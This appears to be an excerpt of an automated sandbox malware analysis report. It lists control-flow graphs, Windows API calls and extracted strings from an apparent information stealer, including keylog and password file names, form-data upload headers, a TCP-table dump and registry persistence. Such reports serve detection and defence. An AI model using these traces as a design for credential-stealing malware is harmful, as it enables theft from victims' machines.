                                                                                                                                                                                                            control_flow_graph 447 2c82669 448 2c82670-2c82681 447->448 448->448 449 2c82683-2c82699 PathAddBackslashA 448->449 450 2c826a0-2c826a6 449->450 450->450 451 2c826a8-2c826f0 SHGetFolderPathA PathAddBackslashA 450->451 452 2c826f2-2c826f7 451->452 452->452 453 2c826f9-2c82703 452->453 454 2c82704-2c8270a 453->454 454->454 455 2c8270c-2c82732 CopyFileA 454->455 456 2c82740-2c82751 455->456 456->456 457 2c82753-2c82762 PathAddBackslashA 456->457 458 2c82763-2c82769 457->458 458->458 459 2c8276b-2c82793 458->459 460 2c82798-2c8279c 459->460 461 2c827b8-2c827ba 460->461 462 2c8279e-2c827a0 460->462 463 2c827bd-2c827bf 461->463 464 2c827a2-2c827a8 462->464 465 2c827b4-2c827b6 462->465 467 2c827dd-2c8281b GetTickCount _snprintf VirtualAlloc 463->467 468 2c827c1-2c827d7 SetFileAttributesA DeleteFileA 463->468 464->461 466 2c827aa-2c827b2 464->466 465->463 466->460 466->465 469 2c82beb-2c82c07 SetCurrentDirectoryA PathFileExistsA 467->469 470 2c82821-2c82844 lstrcpynA call 2c97b50 467->470 468->467 471 2c82c09-2c82c1f SetFileAttributesA DeleteFileA 469->471 472 2c82c25-2c82c3b 469->472 478 2c82855-2c8289c VirtualFree call 2c766d0 SetFileAttributesA RemoveDirectoryA call 2c76930 470->478 479 2c82846-2c82850 call 2c97ce0 call 2c97c50 470->479 471->472 474 2c82c3d-2c82c4a GetProcessHeap HeapValidate 472->474 475 2c82c57-2c82c5b 472->475 474->475 477 2c82c4c-2c82c55 GetProcessHeap HeapFree 474->477 480 2c82c5d-2c82c6a GetProcessHeap HeapValidate 475->480 481 2c82c77-2c82c8a LeaveCriticalSection 475->481 477->475 478->469 490 2c828a2 478->490 479->478 480->481 483 2c82c6c-2c82c75 GetProcessHeap HeapFree 480->483 483->481 491 2c828a5-2c828aa 490->491 491->491 492 2c828ac-2c828b5 491->492 493 2c828df-2c828e4 492->493 494 2c828b7-2c828d1 GetProcessHeap HeapAlloc 492->494 493->469 496 2c828ea-2c828ff 493->496 494->493 495 2c828d3-2c828dc memset 494->495 495->493 497 2c82901-2c82906 496->497 497->497 498 2c82908-2c8290d 497->498 499 2c82910-2c82916 498->499 499->499 500 2c82918-2c82929 499->500 501 2c82930-2c82936 500->501 501->501 502 2c82938-2c8294e 501->502 503 2c82950-2c82956 502->503 503->503 504 2c82958-2c8296b 503->504 505 2c82970-2c82975 504->505 505->505 506 2c82977-2c8297c 505->506 507 2c82980-2c82986 506->507 507->507 508 2c82988-2c82999 507->508 509 2c829a0-2c829a6 508->509 509->509 510 2c829a8-2c829ba call 2c732f0 509->510 513 2c829c0-2c829c5 510->513 513->513 514 2c829c7-2c829cc 513->514 515 2c829d0-2c829d6 514->515 515->515 516 2c829d8-2c829e9 515->516 517 2c829f0-2c829f6 516->517 517->517 518 2c829f8-2c82a0b 517->518 519 2c82a10-2c82a15 518->519 519->519 520 2c82a17-2c82a1c 519->520 521 2c82a20-2c82a26 520->521 521->521 522 2c82a28-2c82a39 521->522 523 2c82a40-2c82a46 522->523 523->523 524 2c82a48-2c82a5e 523->524 525 2c82a60-2c82a66 524->525 525->525 526 2c82a68-2c82a75 525->526 527 2c82a78-2c82a7e 526->527 527->527 528 2c82a80-2c82a90 527->528 529 2c82a92-2c82a97 528->529 529->529 530 2c82a99-2c82a9e 529->530 531 2c82aa0-2c82aa6 530->531 531->531 532 2c82aa8-2c82ab9 531->532 533 2c82ac0-2c82ac6 532->533 533->533 534 2c82ac8-2c82adb 533->534 535 2c82ae0-2c82ae5 534->535 535->535 536 2c82ae7-2c82aec 535->536 537 2c82af0-2c82af6 536->537 537->537 538 2c82af8-2c82b09 537->538 539 2c82b10-2c82b16 538->539 539->539 540 2c82b18-2c82b2f 539->540 541 2c82b31-2c82b33 540->541 542 2c82b36-2c82b3b 541->542 542->542 543 2c82b3d-2c82b48 call 2c82410 542->543 546 2c82b4a-2c82b55 Sleep 543->546 547 2c82b57-2c82b5f 543->547 546->541 546->547 548 2c82b60-2c82b64 547->548 549 2c82b80-2c82b82 548->549 550 2c82b66-2c82b68 548->550 551 2c82b85-2c82b87 549->551 552 2c82b6a-2c82b70 550->552 553 2c82b7c-2c82b7e 550->553 551->469 555 2c82b89-2c82bbd IsUserAnAdmin GetTickCount RegOpenKeyExA 551->555 552->549 554 2c82b72-2c82b7a 552->554 553->551 554->548 554->553 555->469 556 2c82bbf-2c82be5 RegSetValueExA RegFlushKey RegCloseKey 555->556 556->469
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?), ref: 02C82690
                                                                                                                                                                                                            • SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 02C826DC
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?), ref: 02C826E9
                                                                                                                                                                                                            • CopyFileA.KERNEL32(?,?,00000000), ref: 02C8272A
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?), ref: 02C8275A
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Path$Backslash$CopyFileFolder
                                                                                                                                                                                                            • String ID: -----------------------------$%s%u.zip$--$-----------------------------$325b0ba3454dc65e$7D2DE6CDa$7d2de689a$C:\Users\user\AppData\Roaming\$Content-Disposition: form-data; name="file"; filename="report"$Content-Disposition: form-data; name="pcname"$Content-Type: text/plain$DEBUG$keylog.txt$passwords.txt$software\microsoft
                                                                                                                                                                                                            • API String ID: 3190534014-2985065750
                                                                                                                                                                                                            • Opcode ID: e2c056e245c04198f486efb39f8410ec92e6f80c18de7ac40bc212f9070211ba
                                                                                                                                                                                                            • Instruction ID: 865299569bd8b8cbb1b101e5ee340d48d98818a7844a4a17295b00d0828f261b
                                                                                                                                                                                                            • Opcode Fuzzy Hash: e2c056e245c04198f486efb39f8410ec92e6f80c18de7ac40bc212f9070211ba
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 290249319442D65BDB169F3098A8BFBBBE5FF85308F148584ED869B240DB32DA09C791
                                                                                                                                                                                                            Function 02C740F0 Relevance: 86.0, APIs: 35, Strings: 14, Instructions: 267memorynetworkfileCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 557 2c740f0-2c7411a GetProcessHeap HeapAlloc 558 2c7412c-2c74187 557->558 559 2c7411c-2c74129 memset 557->559 560 2c743c4-2c743ca 558->560 561 2c7418d-2c7419d GetTcpTable 558->561 559->558 562 2c74200-2c74202 561->562 563 2c7419f-2c741ad GetProcessHeap HeapValidate 561->563 564 2c74204-2c74212 GetProcessHeap HeapValidate 562->564 565 2c7422d-2c7423a 562->565 566 2c741af-2c741b5 GetProcessHeap HeapFree 563->566 567 2c741bb-2c741c2 563->567 564->560 568 2c74218-2c7422a GetProcessHeap HeapFree 564->568 569 2c743d0-2c743dd call 2c82d20 565->569 570 2c74240-2c74259 GetProcessHeap HeapAlloc 565->570 566->567 571 2c741c4-2c741da GetProcessHeap HeapAlloc 567->571 572 2c741e8-2c741ed 567->572 574 2c7425f-2c74272 memset 570->574 575 2c743cd 570->575 571->572 576 2c741dc-2c741e5 memset 571->576 572->560 577 2c741f3-2c741fa GetTcpTable 572->577 579 2c74274-2c7427c 574->579 575->569 576->572 577->562 579->579 580 2c7427e-2c7428b 579->580 581 2c74363 580->581 582 2c74291 580->582 583 2c74366-2c7436c 581->583 584 2c74294-2c742a1 call 2c74000 582->584 583->583 585 2c7436e-2c74383 583->585 590 2c742a7-2c742b4 call 2c74000 584->590 591 2c7434b-2c7435a 584->591 587 2c74386-2c7438b 585->587 587->587 589 2c7438d-2c743b6 WriteFile GetProcessHeap HeapValidate 587->589 589->560 593 2c743b8-2c743be GetProcessHeap HeapFree 589->593 596 2c742b6-2c742bc 590->596 597 2c7432f-2c7433d GetProcessHeap HeapValidate 590->597 591->584 592 2c74360 591->592 592->581 593->560 599 2c742c0-2c742c5 596->599 597->591 598 2c7433f-2c74345 GetProcessHeap HeapFree 597->598 598->591 599->599 600 2c742c7-2c7431e htons * 2 _snprintf GetProcessHeap HeapValidate 599->600 601 2c74320-2c74326 GetProcessHeap HeapFree 600->601 602 2c7432c 600->602 601->602 602->597
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000C10,00000000,762335B0,00000000), ref: 02C7410D
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02C74110
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C74124
                                                                                                                                                                                                            • GetTcpTable.IPHLPAPI(00000000,00000C00,00000001), ref: 02C74194
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C741A2
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C741A5
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C741B2
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C741B5
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00000C13), ref: 02C741CD
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02C741D0
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C741E0
                                                                                                                                                                                                            • GetTcpTable.IPHLPAPI(00000000,00000C00,00000001), ref: 02C741FA
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C74207
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C7420A
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C7421B
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C7421E
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,-00000083), ref: 02C74249
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02C7424C
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C74263
                                                                                                                                                                                                            • htons.WS2_32(?), ref: 02C742D9
                                                                                                                                                                                                            • htons.WS2_32(?), ref: 02C742EC
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C74307
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C74313
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C74316
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C74323
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C74326
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000,00000000,?), ref: 02C74332
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C74335
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C74342
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C74345
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000C00,00000000,00000001,?,00000000), ref: 02C743A2
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C743AB
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C743AE
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C743BB
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C743BE
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Process$FreeValidate$Allocmemset$Tablehtons$FileWrite_snprintf
                                                                                                                                                                                                            • String ID: CLOSED$CLOSE_WAIT$CLOSING$DELETE_TCB$ESTAB$FIN_WAIT1$FIN_WAIT2$LAST_ACK$LISTEN$SYN_RCVD$SYN_SENT$TCP%s:%d%s:%d%s$TIME_WAIT$netstat{ProtoLocal addressRemote addressState
                                                                                                                                                                                                            • API String ID: 3573621883-2402783461
                                                                                                                                                                                                            • Opcode ID: cdf18205eaf4d770cafe0dd934a66c4fea390b45350f0fdebda89808dd7fe703
                                                                                                                                                                                                            • Instruction ID: 6fd2147aa34d27987b0607b3265e8337516b80a64b11be02324dc0ca9855ac84
                                                                                                                                                                                                            • Opcode Fuzzy Hash: cdf18205eaf4d770cafe0dd934a66c4fea390b45350f0fdebda89808dd7fe703
                                                                                                                                                                                                            • Instruction Fuzzy Hash: 9D91C7B1E40289ABDB259FA5EC88FAF7F78EF85705F144594E508E7281DB30D504CB61
                                                                                                                                                                                                            Function 02C82734 Relevance: 81.0, APIs: 33, Strings: 13, Instructions: 467filememorystringCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 603 2c82734-2c8273b 604 2c82740-2c82751 603->604 604->604 605 2c82753-2c82762 PathAddBackslashA 604->605 606 2c82763-2c82769 605->606 606->606 607 2c8276b-2c82793 606->607 608 2c82798-2c8279c 607->608 609 2c827b8-2c827ba 608->609 610 2c8279e-2c827a0 608->610 611 2c827bd-2c827bf 609->611 612 2c827a2-2c827a8 610->612 613 2c827b4-2c827b6 610->613 615 2c827dd-2c8281b GetTickCount _snprintf VirtualAlloc 611->615 616 2c827c1-2c827d7 SetFileAttributesA DeleteFileA 611->616 612->609 614 2c827aa-2c827b2 612->614 613->611 614->608 614->613 617 2c82beb-2c82c07 SetCurrentDirectoryA PathFileExistsA 615->617 618 2c82821-2c82844 lstrcpynA call 2c97b50 615->618 616->615 619 2c82c09-2c82c1f SetFileAttributesA DeleteFileA 617->619 620 2c82c25-2c82c3b 617->620 626 2c82855-2c8289c VirtualFree call 2c766d0 SetFileAttributesA RemoveDirectoryA call 2c76930 618->626 627 2c82846-2c82850 call 2c97ce0 call 2c97c50 618->627 619->620 622 2c82c3d-2c82c4a GetProcessHeap HeapValidate 620->622 623 2c82c57-2c82c5b 620->623 622->623 625 2c82c4c-2c82c55 GetProcessHeap HeapFree 622->625 628 2c82c5d-2c82c6a GetProcessHeap HeapValidate 623->628 629 2c82c77-2c82c8a LeaveCriticalSection 623->629 625->623 626->617 638 2c828a2 626->638 627->626 628->629 631 2c82c6c-2c82c75 GetProcessHeap HeapFree 628->631 631->629 639 2c828a5-2c828aa 638->639 639->639 640 2c828ac-2c828b5 639->640 641 2c828df-2c828e4 640->641 642 2c828b7-2c828d1 GetProcessHeap HeapAlloc 640->642 641->617 644 2c828ea-2c828ff 641->644 642->641 643 2c828d3-2c828dc memset 642->643 643->641 645 2c82901-2c82906 644->645 645->645 646 2c82908-2c8290d 645->646 647 2c82910-2c82916 646->647 647->647 648 2c82918-2c82929 647->648 649 2c82930-2c82936 648->649 649->649 650 2c82938-2c8294e 649->650 651 2c82950-2c82956 650->651 651->651 652 2c82958-2c8296b 651->652 653 2c82970-2c82975 652->653 653->653 654 2c82977-2c8297c 653->654 655 2c82980-2c82986 654->655 655->655 656 2c82988-2c82999 655->656 657 2c829a0-2c829a6 656->657 657->657 658 2c829a8-2c829ba call 2c732f0 657->658 661 2c829c0-2c829c5 658->661 661->661 662 2c829c7-2c829cc 661->662 663 2c829d0-2c829d6 662->663 663->663 664 2c829d8-2c829e9 663->664 665 2c829f0-2c829f6 664->665 665->665 666 2c829f8-2c82a0b 665->666 667 2c82a10-2c82a15 666->667 667->667 668 2c82a17-2c82a1c 667->668 669 2c82a20-2c82a26 668->669 669->669 670 2c82a28-2c82a39 669->670 671 2c82a40-2c82a46 670->671 671->671 672 2c82a48-2c82a5e 671->672 673 2c82a60-2c82a66 672->673 673->673 674 2c82a68-2c82a75 673->674 675 2c82a78-2c82a7e 674->675 675->675 676 2c82a80-2c82a90 675->676 677 2c82a92-2c82a97 676->677 677->677 678 2c82a99-2c82a9e 677->678 679 2c82aa0-2c82aa6 678->679 679->679 680 2c82aa8-2c82ab9 679->680 681 2c82ac0-2c82ac6 680->681 681->681 682 2c82ac8-2c82adb 681->682 683 2c82ae0-2c82ae5 682->683 683->683 684 2c82ae7-2c82aec 683->684 685 2c82af0-2c82af6 684->685 685->685 686 2c82af8-2c82b09 685->686 687 2c82b10-2c82b16 686->687 687->687 688 2c82b18-2c82b2f 687->688 689 2c82b31-2c82b33 688->689 690 2c82b36-2c82b3b 689->690 690->690 691 2c82b3d-2c82b48 call 2c82410 690->691 694 2c82b4a-2c82b55 Sleep 691->694 695 2c82b57-2c82b5f 691->695 694->689 694->695 696 2c82b60-2c82b64 695->696 697 2c82b80-2c82b82 696->697 698 2c82b66-2c82b68 696->698 699 2c82b85-2c82b87 697->699 700 2c82b6a-2c82b70 698->700 701 2c82b7c-2c82b7e 698->701 699->617 703 2c82b89-2c82bbd IsUserAnAdmin GetTickCount RegOpenKeyExA 699->703 700->697 702 2c82b72-2c82b7a 700->702 701->699 702->696 702->701 703->617 704 2c82bbf-2c82be5 RegSetValueExA RegFlushKey RegCloseKey 703->704 704->617
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • PathAddBackslashA.SHLWAPI(?), ref: 02C8275A
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(?,00000000), ref: 02C827CA
                                                                                                                                                                                                            • DeleteFileA.KERNEL32(?), ref: 02C827D7
                                                                                                                                                                                                            • GetTickCount.KERNEL32 ref: 02C827DD
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C827FA
                                                                                                                                                                                                            • VirtualAlloc.KERNEL32(00000000,00000104,00003000,00000004), ref: 02C82811
                                                                                                                                                                                                            • lstrcpynA.KERNEL32(00000000,?,00000104), ref: 02C8282E
                                                                                                                                                                                                            • VirtualFree.KERNELBASE(00000000,00000000,00008000,?), ref: 02C8285D
                                                                                                                                                                                                            • SetFileAttributesA.KERNEL32(?,00000000,?), ref: 02C82878
                                                                                                                                                                                                            • RemoveDirectoryA.KERNEL32(?), ref: 02C82885
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: File$AttributesVirtual$AllocBackslashCountDeleteDirectoryFreePathRemoveTick_snprintflstrcpyn
                                                                                                                                                                                                            • String ID: -----------------------------$%s%u.zip$--$-----------------------------$325b0ba3454dc65e$7d2de689a$C:\Users\user\AppData\Roaming\$Content-Disposition: form-data; name="file"; filename="report"$Content-Disposition: form-data; name="pcname"$Content-Type: text/plain$DEBUG$passwords.txt$software\microsoft
                                                                                                                                                                                                            • API String ID: 1417698165-3315029883
                                                                                                                                                                                                            • Opcode ID: 96d1b09aead743ab749e9d87d7ed4e3c3599536a2fc97adc4ee112459d75ba1f
                                                                                                                                                                                                            • Instruction ID: 5c746aca08dc5a9761cd58d6ee12c124871ebf8dfcb3648c4e6165b6ec53c4f2
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 96d1b09aead743ab749e9d87d7ed4e3c3599536a2fc97adc4ee112459d75ba1f
                                                                                                                                                                                                            • Instruction Fuzzy Hash: D8F14A319442D65BDF169F3098ACBFBBBA5FF85308F048584ED869B240DB32DA09C791
                                                                                                                                                                                                            Function 02C83620 Relevance: 72.1, APIs: 33, Strings: 8, Instructions: 311memorynetworkfileCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
                                                                                                                                                                                                            control_flow_graph 766 2c83620-2c83665 memset 767 2c8366b-2c8366e 766->767 768 2c839a2-2c839aa 766->768 767->768 769 2c83674-2c83677 767->769 770 2c83679-2c8367b 769->770 771 2c836d1-2c836ee InternetOpenA 769->771 772 2c83681-2c8368f 770->772 773 2c839ad-2c839b5 771->773 774 2c836f4-2c8370c InternetConnectA 771->774 772->772 775 2c83691-2c83693 772->775 776 2c8398f-2c8399f InternetCloseHandle 774->776 777 2c83712-2c8371a 774->777 778 2c836a0-2c836b1 775->778 779 2c8371c 777->779 780 2c83721-2c8373e HttpOpenRequestA 777->780 783 2c836b3 778->783 784 2c836b5-2c836bc 778->784 779->780 781 2c83744-2c8374e 780->781 782 2c83985-2c8398c InternetCloseHandle 780->782 785 2c83750-2c83753 781->785 786 2c83764-2c83776 HttpAddRequestHeadersA 781->786 782->776 783->784 784->778 787 2c836be-2c836cc call 2c86c40 784->787 785->786 788 2c83755-2c83762 HttpAddRequestHeadersA 785->788 789 2c837a8-2c837bb HttpSendRequestA 786->789 790 2c83778-2c837a6 _snprintf HttpAddRequestHeadersA 786->790 787->771 788->786 792 2c8397b-2c83982 InternetCloseHandle 789->792 793 2c837c1-2c837db HttpQueryInfoA 789->793 790->789 792->782 793->792 794 2c837e1-2c837e8 793->794 794->792 795 2c837ee-2c83814 CreateFileA 794->795 795->792 796 2c8381a 795->796 797 2c83820-2c83834 GetProcessHeap HeapAlloc 796->797 798 2c8383a-2c83867 memset InternetReadFile 797->798 799 2c838c3-2c838c5 797->799 802 2c83869-2c8386e 798->802 803 2c838a7-2c838b5 GetProcessHeap HeapValidate 798->803 800 2c838ea-2c838fe call 2c76570 799->800 801 2c838c7-2c838db GetHandleInformation 799->801 811 2c83978 800->811 812 2c83900-2c8390a 800->812 801->800 805 2c838dd-2c838e1 801->805 802->803 807 2c83870-2c83894 WriteFile GetProcessHeap HeapValidate 802->807 803->799 804 2c838b7-2c838bd GetProcessHeap HeapFree 803->804 804->799 805->800 808 2c838e3-2c838e4 CloseHandle 805->808 807->797 810 2c83896-2c838a2 GetProcessHeap HeapFree 807->810 808->800 810->797 811->792 813 2c83910-2c8391e 812->813 813->813 814 2c83920 813->814 815 2c83922-2c83933 814->815 816 2c83935 815->816 817 2c83937-2c8393e 815->817 816->817 817->815 818 2c83940-2c8396a call 2c86c40 call 2c764d0 GetProcessHeap HeapValidate 817->818 818->811 823 2c8396c-2c83972 GetProcessHeap HeapFree 818->823 823->811
                                                                                                                                                                                                            APIs
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C83655
                                                                                                                                                                                                            • InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),02C76406,00000000,00000000,04000000), ref: 02C836E1
                                                                                                                                                                                                            • InternetConnectA.WININET(00000000,00000000,00000050,00000000,00000000,00000003,00000000,00000001), ref: 02C836FF
                                                                                                                                                                                                            • HttpOpenRequestA.WININET(00000000,GET,?,HTTP/1.0,00000000,00000000,00000000,00000001), ref: 02C83731
                                                                                                                                                                                                            • HttpAddRequestHeadersA.WININET(00000000,Content-Type: application/x-www-form-urlencoded,000000FF,20000000), ref: 02C83762
                                                                                                                                                                                                            • HttpAddRequestHeadersA.WININET(00000000,Referer: http://www.google.com,000000FF,20000000), ref: 02C83771
                                                                                                                                                                                                            • _snprintf.MSVCRT ref: 02C8378E
                                                                                                                                                                                                            • HttpAddRequestHeadersA.WININET(00000000,?,000000FF,20000000), ref: 02C837A6
                                                                                                                                                                                                            • HttpSendRequestA.WININET(00000000,00000000,00000000,00000004,00000000), ref: 02C837B3
                                                                                                                                                                                                            • HttpQueryInfoA.WININET(00000000,20000013,02C76406,00000004,02C76406), ref: 02C837D3
                                                                                                                                                                                                            • CreateFileA.KERNEL32(02C76406,C0000000,00000003,00000000,00000002,00000080,00000000), ref: 02C83809
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000008,00001010), ref: 02C83827
                                                                                                                                                                                                            • HeapAlloc.KERNEL32(00000000), ref: 02C8382A
                                                                                                                                                                                                            • memset.MSVCRT ref: 02C83842
                                                                                                                                                                                                            • InternetReadFile.WININET(?,00000000,00001000,00000001), ref: 02C8385F
                                                                                                                                                                                                            • WriteFile.KERNEL32(00000000,00000000,00000000,00000001,00000000), ref: 02C83880
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83889
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C8388C
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C83899
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C8389C
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C838AA
                                                                                                                                                                                                            • HeapValidate.KERNEL32(00000000), ref: 02C838AD
                                                                                                                                                                                                            • GetProcessHeap.KERNEL32(00000000,00000000), ref: 02C838BA
                                                                                                                                                                                                            • HeapFree.KERNEL32(00000000), ref: 02C838BD
                                                                                                                                                                                                            • GetHandleInformation.KERNEL32(00000000,00000001), ref: 02C838D3
                                                                                                                                                                                                            • CloseHandle.KERNEL32(00000000), ref: 02C838E4
                                                                                                                                                                                                            Strings
                                                                                                                                                                                                            • Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0), xrefs: 02C836DC
                                                                                                                                                                                                            • 325b0ba3454dc65e, xrefs: 02C83778
                                                                                                                                                                                                            • POST, xrefs: 02C8371C, 02C8372F
                                                                                                                                                                                                            • Content-Type: multipart/form-data; boundary=---------------------------%s, xrefs: 02C8377D
                                                                                                                                                                                                            • GET, xrefs: 02C83712
                                                                                                                                                                                                            • Content-Type: application/x-www-form-urlencoded, xrefs: 02C8375C
                                                                                                                                                                                                            • Referer: http://www.google.com, xrefs: 02C8376B
                                                                                                                                                                                                            • HTTP/1.0, xrefs: 02C83729
                                                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                                                            • Source File: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, Offset: 02C70000, based on PE: true
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CC7000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            • Associated: 00000002.00000002.3391913803.0000000002CCC000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                                                            • Snapshot File: hcaresult_2_2_2c70000_svchost.jbxd
                                                                                                                                                                                                            Yara matches
                                                                                                                                                                                                            Similarity
                                                                                                                                                                                                            • API ID: Heap$Http$ProcessRequest$FileHeadersInternet$FreeHandleOpenValidatememset$AllocCloseConnectCreateInfoInformationQueryReadSendWrite_snprintf
                                                                                                                                                                                                            • String ID: 325b0ba3454dc65e$Content-Type: application/x-www-form-urlencoded$Content-Type: multipart/form-data; boundary=---------------------------%s$GET$HTTP/1.0$Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)$POST$Referer: http://www.google.com
                                                                                                                                                                                                            • API String ID: 1431876097-3557604321
                                                                                                                                                                                                            • Opcode ID: 69b162da5366fc839cd22c819ebd10d18e574b30571f986c4605c700850c8126
                                                                                                                                                                                                            • Instruction ID: 5504d569ebac3d570b88e2c87a30457f6a10eee0940acfc8c6b47d78dcfd1f48
                                                                                                                                                                                                            • Opcode Fuzzy Hash: 69b162da5366fc839cd22c819ebd10d18e574b30571f986c4605c700850c8126
                                                                                                                                                                                                            • Instruction Fuzzy Hash: ACA1EB71A402987BEB11AF64DC89FEF776CEF88B19F0046A9F905E7180D7709A14CB61
                                                                                                                                                                                                            Function 02C868B0 Relevance: 51.0, APIs: 24, Strings: 5, Instructions: 244registrymemorysynchronizationCOMMON
                                                                                                                                                                                                            Download Yara Rule

                                                                                                                                                                                                            Control-flow Graph

                                                                                                                                                                                                            • Executed
                                                                                                                                                                                                            • Not Executed
